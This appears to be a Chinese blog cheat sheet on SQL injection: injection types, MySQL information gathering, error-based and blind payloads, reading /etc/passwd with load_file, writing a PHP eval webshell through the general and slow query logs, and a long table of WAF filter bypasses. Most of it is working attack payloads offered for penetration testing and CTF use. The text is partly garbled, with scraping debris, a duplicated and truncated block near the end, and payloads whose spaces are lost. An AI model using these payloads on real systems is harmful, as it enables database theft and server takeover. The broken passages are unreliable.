SQL注入

手法分类:

联合注入、报错注入、布尔盲注、延时注入、多语句查询注入(堆叠注入)

可能存在注入的点:

  • GPC
    GET
    POST
    COOKIE
  • HTTP头(请求报文及其他字段)

基础

mysql、mssql、SQL Server 以及 Oracle等,不同数据库有不同的特性

mysql

注释

#、-- (空格)、–+、/​​* *​​​/、/​​*! *​​/(内联查询)

mysql默认表

  • 元数据数据库:information_schema(mysql5后才有)

sql注入进阶-报错注入、盲注、order by注入、二次注入、SQL注入绕过速查表_sql

  • mysql表:保存了用户密码,host等信息

如果host:%表示可以从任意地方登录,支持远程连接

查询语句后加\G 规范成列输出

操作符优先级

sql注入进阶-报错注入、盲注、order by注入、二次注入、SQL注入绕过速查表_mysql_02

信息收集

/​​*!xxx*​​​/,若版本号大于xxx,则会执行注释中的语句 /​​*!4000 user()*​​/

  • 路径 @@datadir
  • 操作系统 @@version_compile_os
  • 系统用户名 system_user()
  • 用户名 user()
  • 当前用户名 current_user()
  • 连接数据库的用户名 session_user()
  • 数据库版本 version()
  • 当前数据库名 database()

标准注入流程

  1. 获取当前的数据库用户,数据库名称,数据库的版本信息
    select user(),database(),version() from dual;
  2. 查询数据库,有时需要限制返回的数量,或者偏移,例如页面只显示一条数据的情况 limit 0,1 limit 1,2 需要通过偏移来返回所有的数据库 select schema_name from information_schema.schemata;
  3. group_concat 函数是将多行数据连接成一行 select group_concat(schema_name) from information_schema.schemata;
  4. 查询表
    1.方法1 select group_concat(table_name) from information_schema.tables where table_schema=database();
    2.方法2 select table_name from information_schema.tables where table_schema=‘database_name’;
    3.方法3 select table_name from information_schema.tables where table_schema=(select database());
  5. 查询列
    1.select column_name from information_schema.columns where table_schema=‘database_name’ and table_name=‘users’;
    2.select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘flag’;
    3.上面可能会被waf识别,也可以这样
    select group_concat(column_name) from information_schema.columns where table_name=‘users’;
    4.字符串可以转换成16进制 select concat(group_concat(distinct+column_name)) from information_schema.columns where table_name=0x696e666f;

报错注入

​https://xz.aliyun.com/t/7318​

首选floor,其他可能会冲突

原理:

  • 重复键冲突
    group by
    floor()
  • xpath报错:适用于mysql5.0以上
    extractvalue()
    updatexml()
  1. floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
  1. extractvalue()
    select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
  2. updatexml()
    select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
  3. geometrycollection()
    select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
  4. multipoint()
    select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
  5. polygon()
    select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
  6. multipolygon()
    select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
  7. linestring()
    select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
  8. multilinestring()
    select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
  9. exp()
    select * from test where id=1 and exp(~(select * from(select user())a));

盲注

实际渗透使用较少,时间太长,对网络要求高,ctf中常见

延时函数:

  • sleep()
  • benchmark() 指定语句执行的次数
  • 笛卡尔积

字符串切割函数:

  • substing()
  • substr()
  • mid()
    上面三个函数用法
    参数1:截取的字符串
    参数2:截取其实位置从1开始计数
    参数2:截取长度
  • left() 从左侧开始取指定字符个数的字符串
  • light()

字符串拼接函数:

  • concat() 没有分隔符的连接字符串
  • concat_ws() 将一个参数作为分隔符连接字符串
  • group_concat() 连接一个组(字段)的字符串

条件判断函数:

if(条件、语句1、语句2)

else:

  • find_in_set() 返回字符串在字符串列表中的位置
  • name_const() 返回表作为结果
  • load_file() 读取文件,并以字符串形式返回文件内容
  • hex() unhex() 16进制转换
  • ord() ascii() ascii编码互换

二分、dnslog

宽字节注入

漏洞成因:php和数据库编码不同

数据库使用gbk编码字符集,16位字符串,编码范围 8140-FEFE

addslashes()函数将单引号()、双引号(")、反斜线(**)与 NUL(​NULL

%df’ —> %df\’ —> %df%5c —> id=‘你’ union select 1,2,3

​https://www.leavesongs.com/PENETRATION/mutibyte-sql-inject.html​

文件读写

MySQL 中 在在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL ,而 secure_file_priv为null 那么我们就不能导出文件,以下都建立在secure_file_priv 的默认值被修改为无(旧版本或管理员配置错误),才能利用,且这个只能手工修改配置文件不能用sql语句

sql注入进阶-报错注入、盲注、order by注入、二次注入、SQL注入绕过速查表_mysql_03

读文件

select load_file(‘/etc/passwd’)
支持hex
select load_file(‘0x2F6574632F706173737764’)

写文件

select 1,‘<?php phpinfo();?>’ into outfile ‘1.php’

outfile:会在行末写入新行,而且会转义换行符

dumpfile: 能导出一个完整的文件,不会有任何转义,所以udf提权一般用的dumpfile

日志文件写shell

set global general_log=on;
//musql执行每条语句都会被写入日志
set global general_log_file='D://404.php';
//指定写入文件
select '<?php eval($_POST['404']) ?>’;
//会写入select等脏数据

慢查询日志

set global slow_query_log=1;

set global slow_query_log_file='D://404.php'

select '<?php eval($_POST['404']) ?>' or sleep(15);
//只有执行时间比较长的才会写入

写文件关键字过滤

过滤php
set global general_log_file=CONCAT("/var/www/html/1.p","hp");

过滤.php和concat
set global general_log_file =REPLACE("/var/www/html/1.jpg","jpg","php");

进阶

正则疏漏

  • 大小写绕过
    漏洞成因:正则没有忽略大小写
  • 双写绕过
    漏洞成因:将黑名单字符串替换为空
  • 注释符绕过
    union select
    union\ ​​​**​​\select

mysql特性

  • 16进制编码绕过单引号
    select hex(‘Dumb’)
    0x44756D62 ==‘Dumb’
  • 设置变量+预查询
    set
    prepare
    execute
    := 赋值运算符

sql注入进阶-报错注入、盲注、order by注入、二次注入、SQL注入绕过速查表_sql_04

关键字过滤

  • like/regex/in代替= <>
    1’ or ‘1’ like ‘%1%’
    1’ or ‘1’ in (1,2)
  • /**/,()代替空格
    where id=(1)union select 1,2,3
  • innodb代替information_schema

innodb mysql5.6后引入的内置表

在mysql 5.6.x版本起,innodb增添了两个新表,一个是innodb_index_stats,另一个是innodb_table_stats。查阅官方文档

从官方文档我们可以发现两个有用的信息:

  1. 从5.6.x版本开始,innodb_index_stats和innodb_table_stats数据表时自动设置的。
  2. 两个表都会存储数据库和对应的数据表
payload:
select group_concat(table_name) from mysql.innodb_table_stats where database_name like database()

题目过滤or导致information_schema不可用

中间件特性

  • 参数污染
    漏洞成因:waf和服务器参数选取不同

sql注入进阶-报错注入、盲注、order by注入、二次注入、SQL注入绕过速查表_mysql_05

?a=1&a=1’ union select 1,2,3%23

waf只检查了第一个参数,而server使用的是最后一个参数

server将相似的参数合并,而waf分开检测

?a=1’ un&a=ion select 1,2,3%23

PDO场景下的注入

mysql是支持堆叠查询的用; 分割语句,但是php原生的连接方式不支持,但是使用 PDO,mysqli_multi_query()等等是支持多语句的

PDO 相关概念

  • PHP数据对象(PDO)扩展为PHP访问数据库定义了一个轻量级的一致接口。PDO提供了一个数据访问抽象层,这意味着,不管使用哪种数据库,都可以使用相同的函数(方法)来查询和获取数据
  • PHP版本要求
    php version >= 5.1
    PDO随PHP 5.1发行,在PHP 5.0的PECL扩展中也可以使用,无法运行于之前的PHP版本

PDO默认支持多语句查询,如果php版本小于5.5.21或者创建PDO实例时未设置PDO::MYSQL_ATTR_MULTI_STATEMENTS为false时可能会造成堆叠注入

二次注入

二次注入的原理是在第一次进行数据库插入数据的时候,仅仅只是使用了addslashes或者是借助get_magic_quotes_gpc对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。

在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入

sql注入进阶-报错注入、盲注、order by注入、二次注入、SQL注入绕过速查表_php_06

order by注入

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9N5Gk0NS-1631149859380)(https://raw.githubusercontent.com/Ocean0000/Ocean0000.github.io/master/20201217220107.png)]

跟盲注原理相同,注入方法相同,替换1=1,为盲注语句就可以

利用条件就是存在order by

布尔注入

sql注入进阶-报错注入、盲注、order by注入、二次注入、SQL注入绕过速查表_web安全_07

时间盲注

sql注入进阶-报错注入、盲注、order by注入、二次注入、SQL注入绕过速查表_php_08

limit注入

select * from admin where id >0 limit 0,1 $id

<5.6的版本,使用procedure analyse配合报错注入

sql注入进阶-报错注入、盲注、order by注入、二次注入、SQL注入绕过速查表_sql_09

procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(id,username,password) from users limit 0,1))),1)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-g5PUVmJz-1631149859384)(https://raw.githubusercontent.com/Ocean0000/Ocean0000.github.io/master/image-20201112171729525.png)]

无列名注入

在不知道列名的情况下,进行注入

  • fuzz表名+别名代替列名
    user / users /person / admin / ctf / flag / f1ag /wdb
select d.2 from(select * from (select 1)a,(select 2)b,(select 3)c union select * from users)d;
//子查询
查询d表的名为2的列

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aKYU4fQw-1631149859385)(https://raw.githubusercontent.com/Ocean0000/Ocean0000.github.io/master/image-20201112172414167.png)]

users表可以用fuzz来测试

  • Info
select 1,2,group_concat(INFO) from information_schema.PROCESSLIST

拓展攻击面

  • 开发者容易遗漏的输入点
  • HTTP头
  • X-Forwarded-For
  • User-Agent
  • Referer
  • REQUEST_URI
  • 文件名 ​​$_FILES[][name]​

框架中sql注入挖掘

  • 在挖掘SQL注入时可以通过审计Model层代码,查看其中是否存在拼接的SQL语句,然后从下往上回溯调用过程,判断被拼接的变量能否由外部控制。
  • 开启数据库记录日志,通过黑盒测试参数然后观察是否有脏数据注入进去,如果有过滤的话然后在审计代码,绕过过滤函数。
  • MySQL日志开启方法在my.cnf文件中添加如下两行
  • general-log = True
  • general-log-file = /tmp/mysql.log
  • 直接审计框架中底层处理SQL操作的方法,若存在问题则可导致大量注入。

堆叠注入

约束攻击

SQL注入绕过速查表

过滤and or

or     ——>   ||
and ——> &&
xor——>|
not——>!

十六进制绕过
or ——> o\x72

大小写绕过
Or
aNd

双写绕过
oorr
anandd

urlencode,ascii(char),hex,unicode编码绕过
一些unicode编码举例:
单引号:'
%u0027 %u02b9 %u02bc
%u02c8 %u2032
%uff07 %c0%27
%c0%a7 %e0%80%a7


关键字内联注释尝试绕所有
/*!or*/
/*!and*/

左括号过滤

urlencode,ascii(char),hex,unicode编码绕过
%u0028 %uff08
%c0%28 %c0%a8
%e0%80%a8

右括号过滤

urlencode,ascii(char),hex,unicode编码绕过
%u0029 %uff09
%c0%29 %c0%a9
%e0%80%a9

过滤union\select

逻辑绕过
例:
过滤代码 union select user,password from users
绕过方式 1 && (select user from users where userid=1)='admin'

十六进制字符绕过
select ——> selec\x74
union——>unio\x6e

大小写绕过
SelEct

双写绕过
selselectect
uniunionon

urlencode,ascii(char),hex,unicode编码绕过

关键字内联绕所有
/*!union*/
/*!select*/

过滤空格

用Tab代替空格%20 %09 %0a %0b %0c %0d %a0 /**/()
绕过空格注释符绕过//--%20/**/#--+-- -;%00;

空白字符绕过SQLite3 —— 0A,0D,0c,09,20
MYSQL
09,0A,0B,0B,0D,A0,20
PosgressSQL
0A,0D,0C,09,20
Oracle_11g
00,0A,0D,0C,09,20
MSSQL
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,OF,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
特殊符号绕过
` + !
等科学计数法绕过
例:
select user,password from users where user_id0e1union select 1,2
unicode编码
%u0020 %uff00
%c0%20 %c0%a0 %e0%80%a0

过滤=

?id=1' or 1 like 1#可以绕过对 = > 等过滤
or '1' IN ('1234')#可以替代=

过滤比较符<>

select*fromuserswhereid=1and ascii(substr(database(),0,1))>64

select*fromuserswhereid=1and greatest(ascii(substr(database(),0,1)),64)=64

过滤where

逻辑绕过
过滤代码 1 && (select user from users where user_id = 1) = 'admin'
绕过方式 1 && (select user from users limit 1) = 'admin'

过滤limit

逻辑绕过
过滤代码 1 && (select user from users limit 1) = 'admin'
绕过方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin

过滤group by

逻辑绕过
过滤代码 1 && (select user from users group by user_id having user_id = 1) = 'admin'
绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1

过滤select

逻辑绕过
过滤代码 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
绕过方式 1 && substr(user,1,1) = 'a'

过滤’(单引号)

逻辑绕过
waf = 'and|or|union|where|limit|group by|select|\''
过滤代码 1 && substr(user,1,1) = 'a'
绕过方式 1 && user_id is not null1 && substr(user,1,1) = 0x611 && substr(user,1,1) = unhex(61)


宽字节绕过
%bf%27 %df%27 %aa%27

过滤逗号

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:
selectsubstr(database(0from1for1);selectmid(database(0from1for1);

对于limit可以使用offset来绕过:

select*fromnews limit0,1# 等价于下面这条SQL语句select*fromnews limit1offset0

过滤hex

逻辑绕过
过滤代码 1 && substr(user,1,1) = unhex(61)
绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。

过滤substr

逻辑绕过

过滤代码 1 && substr(user,1,1) = lower(conv(11,10,16))
绕过方式 1 && lpad(user(),1,1) in 'r'

编码绕过

利用urlencode,ascii(char),hex,unicode等编码绕过

or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

十六进制编码
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

双重编码绕过
?id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+

等价函数或变量

hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

举例:substring()和substr()无法使用时:?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74 

或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1

生僻函数

MySQL/PostgreSQL支持XML函数:Select UpdateXML(‘<script x=_></script> ’,’/script/@x/’,’src=//evil.com’);          

?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))

SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql

?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

and 1=(updatexml(1,concat(0x5c,(select user()),0x5c),1))

and extractvalue(1, concat(0x5c, (select user()),0x5c))

\N绕过

\N相当于NULL字符

select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0

PCRE绕过

PHP 的 pcre.backtrack_limit 限制利用
union/*aaaaaaaxN*/select

/’,’src=//evil.com’);

?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))

SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql

?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

and 1=(updatexml(1,concat(0x5c,(select user()),0x5c),1))

and extractvalue(1, concat(0x5c, (select user()),0x5c))

#### \N绕过

\N相当于NULL字符

select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0

#### PCRE绕过

PHP 的 pcre.backtrack_limit 限制利用
union/aaaaaaaxN/select

上面的还不行?尝试修改语句逻辑再绕过试试?